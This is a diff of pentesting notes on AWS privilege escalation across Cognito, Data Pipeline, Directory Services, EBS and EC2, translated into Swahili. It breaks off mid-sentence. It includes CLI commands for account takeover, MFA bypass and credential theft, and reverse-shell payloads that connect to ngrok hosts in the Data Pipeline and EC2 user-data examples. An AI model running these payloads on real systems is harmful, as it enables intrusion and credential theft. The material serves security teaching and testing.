mshambuliaji **kubadilisha nenosiri la mtumiaji yeyote**, na kumfanya aweze kujifanya kama mtumiaji yeyote (ambaye hana MFA iliyoanzishwa). ```bash aws cognito-idp admin-set-user-password \ - --user-pool-id \ - --username \ - --password \ - --permanent +--user-pool-id \ +--username \ +--password \ +--permanent ``` - -**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role. +**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa mtumiaji yeyote, hivyo kupata ufikiaji wa vikundi vyote ambavyo kila mtumiaji ni mwanachama na ufikiaji wa jukumu la IAM lililothibitishwa la Identity Pool. ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` -**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**. - +**AdminSetUserSettings**: Mshambuliaji anaweza kutumia ruhusa hii vibaya kuweka simu ya mkononi chini ya udhibiti wake kama **SMS MFA ya mtumiaji**. ```bash aws cognito-idp admin-set-user-settings \ - --user-pool-id \ - --username \ - --mfa-options +--user-pool-id \ +--username \ +--mfa-options ``` - -**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection. - +**SetUserMFAPreference:** Kufanana na ile ya awali, ruhusa hii inaweza kutumika kuweka upendeleo wa MFA wa mtumiaji ili kupita ulinzi wa MFA. ```bash aws cognito-idp admin-set-user-mfa-preference \ - [--sms-mfa-settings ] \ - [--software-token-mfa-settings ] \ - --username \ - --user-pool-id +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id ``` - -**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection. - +**SetUserPoolMfaConfig**: Kufanana na ile ya awali, ruhusa hii inaweza kutumika kuweka upendeleo wa MFA wa mzunguko wa watumiaji ili kupita ulinzi wa MFA. ```bash aws cognito-idp set-user-pool-mfa-config \ - --user-pool-id \ - [--sms-mfa-configuration ] \ - [--software-token-mfa-configuration ] \ - [--mfa-configuration ] +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] ``` +**UpdateUserPool:** Inawezekana pia kuboresha mfuatano wa watumiaji kubadilisha sera ya MFA. [Angalia cli hapa](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection. +**Potential Impact:** Privesc isiyo ya moja kwa moja kwa mtumiaji yeyote ambaye mshambuliaji anajua akisi, hii inaweza kuruhusu kupita ulinzi wa MFA. ### `cognito-idp:AdminUpdateUserAttributes` -An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\ -This allows to change an email or phone number and set it as verified. - +Mshambuliaji mwenye ruhusa hii anaweza kubadilisha barua pepe au nambari ya simu au sifa nyingine yoyote ya mtumiaji chini ya udhibiti wake ili kujaribu kupata ruhusa zaidi katika programu ya chini.\ +Hii inaruhusu kubadilisha barua pepe au nambari ya simu na kuipatia kama iliyothibitishwa. ```bash aws cognito-idp admin-update-user-attributes \ - --user-pool-id \ - --username \ - --user-attributes +--user-pool-id \ +--username \ +--user-attributes ``` - -**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes. +**Madhara Yanayoweza Kutokea:** Madhara ya moja kwa moja ya privesc katika programu ya msingi inayotumia Cognito User Pool ambayo inatoa mamlaka kulingana na sifa za mtumiaji. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period... +Mshambuliaji mwenye ruhusa hii anaweza **kuunda Mteja Mpya wa User Pool ambao haujawekwa vizuizi** kuliko wateja wa pool waliopo tayari. Kwa mfano, mteja mpya anaweza kuruhusu aina yoyote ya mbinu ya kuthibitisha, asiwe na siri yoyote, kuwa na uondoaji wa tokeni uliozuiliwa, kuruhusu tokeni kuwa halali kwa muda mrefu zaidi... -The same can be be don if instead of creating a new client, an **existing one is modified**. - -In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!. +Ile ile inaweza kufanywa ikiwa badala ya kuunda mteja mpya, **mteja aliyopo anabadilishwa**. +Katika [**mistari ya amri**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (au [**sasisha moja**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) unaweza kuona chaguzi zote, angalia hiyo!. ```bash aws cognito-idp create-user-pool-client \ - --user-pool-id \ - --client-name \ - [...] +--user-pool-id \ +--client-name \ +[...] ``` - -**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create. +**Madhara Yanayoweza Kutokea:** Uwezekano wa privesc isiyo ya moja kwa moja kwa mtumiaji aliyeidhinishwa wa Identity Pool anayetumiwa na User Pool kwa kuunda mteja mpya ambao unarefusha hatua za usalama na kufanya iwezekanavyo kwa mshambuliaji kuingia na mtumiaji aliyeweza kuunda. ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` -An attacker could abuse this permission to create users y uploading a csv with new users. - +Mshambuliaji anaweza kutumia ruhusa hii kuunda watumiaji kwa kupakia csv yenye watumiaji wapya. ```bash # Create a new import job aws cognito-idp create-user-import-job \ - --job-name \ - --user-pool-id \ - --cloud-watch-logs-role-arn +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn # Use a new import job aws cognito-idp start-user-import-job \ - --user-pool-id \ - --job-id +--user-pool-id \ +--job-id # Both options before will give you a URL where you can send the CVS file with the users to create curl -v -T "PATH_TO_CSV_FILE" \ - -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` +(Katika kesi ambapo unaunda kazi mpya ya kuagiza unaweza pia kuhitaji ruhusa ya iam passrole, sijajaribu bado). -(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet). - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -An attacker could create a new identity provider to then be able to **login through this provider**. - +Mshambuliaji anaweza kuunda mtoa huduma mpya wa utambulisho ili kisha aweze **kuingia kupitia mtoa huduma huyu**. ```bash aws cognito-idp create-identity-provider \ - --user-pool-id \ - --provider-name \ - --provider-type \ - --provider-details \ - [--attribute-mapping ] \ - [--idp-identifiers ] +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] ``` +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc isiyo ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote. -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +### cognito-sync:\* Uchambuzi -### cognito-sync:\* Analysis +Hii ni ruhusa ya kawaida sana kwa msingi katika majukumu ya Mchanganyiko wa Utambulisho wa Cognito. Hata kama wildcard katika ruhusa daima inaonekana mbaya (hasa ikitoka kwa AWS), **ruhusa zilizotolewa si za manufaa sana kutoka kwa mtazamo wa washambuliaji**. -This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**. +Ruhusa hii inaruhusu kusoma taarifa za matumizi ya Mchanganyiko wa Utambulisho na Vitambulisho vya Utambulisho ndani ya Mchanganyiko wa Utambulisho (ambayo si taarifa nyeti).\ +Vitambulisho vya Utambulisho vinaweza kuwa na [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) vilivyotolewa kwao, ambavyo ni taarifa za vikao (AWS inaviita kama **mchezo uliohifadhiwa**). Inaweza kuwa na uwezekano kwamba hii ina aina fulani ya taarifa nyeti (lakini uwezekano ni mdogo sana). Unaweza kupata katika [**ukurasa wa orodha**](../aws-services/aws-cognito-enum/) jinsi ya kufikia taarifa hii. -This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\ -Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information. +Mshambuliaji pia anaweza kutumia ruhusa hizi ku **jiandikishe kwenye mtiririko wa Cognito unaochapisha mabadiliko** kwenye datasets hizi au **lambda inayosababisha kwenye matukio ya cognito**. Sijawahi kuona hii ikitumika, na sitarajii taarifa nyeti hapa, lakini si haiwezekani. -An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible. +### Zana za Kiotomatiki -### Automatic Tools +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli za "cognito\_\_enum" na "cognito\_\_attack" ambazo zinafanya otomatiki orodha ya mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk., na pia zinafanya otomatiki uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, akidi za mchanganyiko wa utambulisho zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk. -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya [blogu](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Kwa maelekezo ya usakinishaji angalia ukurasa mkuu wa [Pacu](https://github.com/RhinoSecurityLabs/pacu). -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. - -#### Usage - -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Matumizi +Mfano wa matumizi ya cognito\_\_attack kujaribu uundaji wa mtumiaji na njia zote za privesc dhidi ya mchanganyiko wa utambulisho na mteja wa mchanganyiko wa mtumiaji: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - ```bash Pacu (new:test) > run cognito__enum ``` - -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na kupanda hadhi. #### Installation - ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Matumizi ```bash $ cognito-scanner --help ``` - -For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) +Kwa maelezo zaidi angalia [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 82c82682e..beb8a35ab 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -For more info about datapipeline check: +Kwa maelezo zaidi kuhusu datapipeline angalia: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,67 +12,57 @@ For more info about datapipeline check: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:** - +Watumiaji wenye **idhini hizi wanaweza kuongeza mamlaka kwa kuunda Data Pipeline** ili kutekeleza amri zisizo na mipaka kwa kutumia **idhini za jukumu lililotolewa:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` - -After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations: - +Baada ya kuunda pipeline, mshambuliaji anasasisha ufafanuzi wake ili kuamuru vitendo maalum au uundaji wa rasilimali: ```json { - "objects": [ - { - "id": "CreateDirectory", - "type": "ShellCommandActivity", - "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", - "runsOn": { "ref": "instance" } - }, - { - "id": "Default", - "scheduleType": "ondemand", - "failureAndRerunMode": "CASCADE", - "name": "Default", - "role": "assumable_datapipeline", - "resourceRole": "assumable_datapipeline" - }, - { - "id": "instance", - "name": "instance", - "type": "Ec2Resource", - "actionOnTaskFailure": "terminate", - "actionOnResourceFailure": "retryAll", - "maximumRetries": "1", - "instanceType": "t2.micro", - "securityGroups": ["default"], - "role": "assumable_datapipeline", - "resourceRole": "assumable_ec2_profile_instance" - } - ] +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] } ``` - > [!NOTE] -> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**. +> Kumbuka kwamba **role** katika **mistari 14, 15 na 27** inahitaji kuwa **role inayoweza kuchukuliwa na datapipeline.amazonaws.com** na **role** katika **mstari 28** inahitaji kuwa **role inayoweza kuchukuliwa na ec2.amazonaws.com na profaili ya EC2 instance**. > -> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one). - +> Zaidi ya hayo, EC2 instance itakuwa na ufikiaji tu wa **role** inayoweza kuchukuliwa na EC2 instance (hivyo unaweza kuiba hiyo pekee). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ - --pipeline-definition file:///pipeline/definition.json +--pipeline-definition file:///pipeline/definition.json ``` +The **faili la ufafanuzi wa pipeline, lililotengenezwa na mshambuliaji, linaelekezo ya kutekeleza amri** au kuunda rasilimali kupitia API ya AWS, ikitumia ruhusa za jukumu la Data Pipeline ili kupata haki za ziada. -The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges. +**Athari Zinazoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la huduma ya ec2 lililotajwa. -**Potential Impact:** Direct privesc to the ec2 service role specified. - -## References +## Marejeleo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index ce24095ed..d0daa32fe 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Directory Services +## Huduma za Katalogi -For more info about directory services check: +Kwa maelezo zaidi kuhusu huduma za katalogi angalia: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -12,27 +12,21 @@ For more info about directory services check: ### `ds:ResetUserPassword` -This permission allows to **change** the **password** of any **existent** user in the Active Directory.\ -By default, the only existent user is **Admin**. - +Ruhusa hii inaruhusu **kubadilisha** **nenosiri** la mtumiaji yeyote **aliyepo** katika Active Directory.\ +Kwa default, mtumiaji pekee aliyepo ni **Admin**. ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` - ### AWS Management Console -It's possible to enable an **application access URL** that users from AD can access to login: +Inawezekana kuwezesha **URL ya ufikiaji wa programu** ambayo watumiaji kutoka AD wanaweza kufikia kuingia:
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console: +Na kisha **kuwapa jukumu la AWS IAM** wakati wanapoingia, kwa njia hii mtumiaji/kikundi cha AD kitakuwa na ufikiaji wa AWS management console:
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission +Hakuna njia yoyote ya kuonekana kuwezesha URL ya ufikiaji wa programu, AWS Management Console na kutoa ruhusa {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index b4af46712..25842e603 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,7 +4,7 @@ ## dynamodb -For more info about dynamodb check: +Kwa maelezo zaidi kuhusu dynamodb angalia: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,16 +12,12 @@ For more info about dynamodb check: ### Post Exploitation -As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: +Kama ninavyojua **hakuna njia ya moja kwa moja ya kupandisha mamlaka katika AWS kwa kuwa na ruhusa za AWS `dynamodb` tu**. Unaweza **kusoma taarifa nyeti** kutoka kwenye meza (ambazo zinaweza kuwa na akreditivu za AWS) na **kuandika taarifa kwenye meza** (ambazo zinaweza kusababisha udhaifu mwingine, kama vile sindano za msimbo wa lambda...) lakini chaguzi hizi zote tayari zinachukuliwa katika **ukurasa wa DynamoDB Post Exploitation**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Read data abusing data Streams +### TODO: Soma data kwa kutumia data Streams {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 36ea3bc53..9e0d9f25c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,26 +6,22 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in: +Mshambuliaji mwenye hizo atakuwa na uwezo wa **kupakua na kuchambua picha za volumes locally** na kutafuta taarifa nyeti ndani yao (kama vile siri au msimbo wa chanzo). Pata jinsi ya kufanya hivi katika: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md {{#endref}} -Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` +Ruhusa nyingine zinaweza pia kuwa na manufaa kama: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` -The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. +Zana [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) inatekeleza shambulio hili ili **kuchota nywila kutoka kwa kiongozi wa eneo**. -**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords). +**Athari Zinazoweza Kutokea:** Privesc isiyo ya moja kwa moja kwa kutafuta taarifa nyeti katika picha (unaweza hata kupata nywila za Active Directory). ### **`ec2:CreateSnapshot`** -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Mtumiaji yeyote wa AWS mwenye ruhusa **`EC2:CreateSnapshot`** anaweza kuiba hash za watumiaji wote wa eneo kwa kuunda **picha ya Kiongozi wa Eneo** na kuifunga kwa mfano wanaodhibiti na **kutoa faili ya NTDS.dit na hive ya rejista ya SYSTEM** kwa matumizi na mradi wa secretsdump wa Impacket. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Unaweza kutumia zana hii kuharakisha shambulio: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) au unaweza kutumia moja ya mbinu zilizopita baada ya kuunda picha. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index ad31bde00..7ae4364ea 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -For more **info about EC2** check: +Kwa maelezo zaidi kuhusu **EC2** angalia: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,32 +12,28 @@ For more **info about EC2** check: ### `iam:PassRole`, `ec2:RunInstances` -An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint. +Mshambuliaji anaweza **kuunda na instance akitumia IAM role kisha kufikia instance hiyo** ili kuiba akidi za IAM role kutoka kwa metadata endpoint. -- **Access via SSH** - -Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`). +- **Upatikanaji kupitia SSH** +Kimbia instance mpya ukitumia **ssh key** iliyoundwa (`--key-name`) kisha ssh ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji kuwa na ruhusa `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name= --key-name \ - --security-group-ids +--iam-instance-profile Name= --key-name \ +--security-group-ids ``` +- **Upatikanaji kupitia rev shell katika data ya mtumiaji** -- **Access via rev shell in user data** - -You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way. - +Unaweza kuendesha mfano mpya ukitumia **data ya mtumiaji** (`--user-data`) ambayo itakutumia **rev shell**. Huhitaji kubainisha kundi la usalama kwa njia hii. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name=E \ - --count 1 \ - --user-data "file:///tmp/rev.sh" +--iam-instance-profile Name=E \ +--count 1 \ +--user-data "file:///tmp/rev.sh" ``` - Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: {{#ref}} @@ -49,14 +45,13 @@ Be careful with GuradDuty if you use the credentials of the IAM role outside of #### Privesc to ECS With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. - ```bash aws ec2 run-instances \ - --image-id ami-07fde2ae86109a2af \ - --instance-type t2.micro \ - --iam-instance-profile \ - --count 1 --key-name pwned \ - --user-data "file:///tmp/asd.sh" +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) # The EC2 instance profile needs basic ECS access @@ -64,22 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` - -To learn how to **force ECS services to be run** in this new EC2 instance check: +Ili kujifunza jinsi ya **kulazimisha huduma za ECS kufanyika** katika hii EC2 mpya angalia: {{#ref}} aws-ecs-privesc.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +Ikiwa huwezi **kuunda mfano mpya** lakini una ruhusa `ecs:RegisterContainerInstance` unaweza kuwa na uwezo wa kujiandikisha mfano ndani ya klasta na kutekeleza shambulio lililokosolewa. -**Potential Impact:** Direct privesc to ECS roles attached to tasks. +**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa majukumu ya ECS yaliyounganishwa na kazi. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. - +Kama ilivyo katika hali ya awali, mshambuliaji mwenye ruhusa hizi anaweza **kubadilisha jukumu la IAM la mfano ulioathirika** ili aweze kuiba akidi mpya.\ +Kama profaili ya mfano inaweza kuwa na jukumu 1 tu, ikiwa profaili ya mfano **tayari ina jukumu** (hali ya kawaida), utahitaji pia **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` +Ikiwa **profaili ya mfano ina jukumu** na mshambuliaji **hawezi kuondoa** hiyo, kuna njia nyingine. Anaweza **kupata** **profaili ya mfano isiyo na jukumu** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **jukumu** kwa **profaili hiyo ya mfano** (kama ilivyojadiliwa hapo awali), na **kuunganisha profaili ya mfano** iliyovunjika kwa mfano uliovunjika: -If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** - -- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \* - +- Ikiwa mfano **hauna profaili yoyote ya mfano** (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu tofauti la EC2 (unahitaji kuwa umepata udhibiti wa mfano wa AWS EC2 na ruhusa za ziada au hali maalum ya wasifu wa mfano). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. - -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \* +Kwa ruhusa hizi 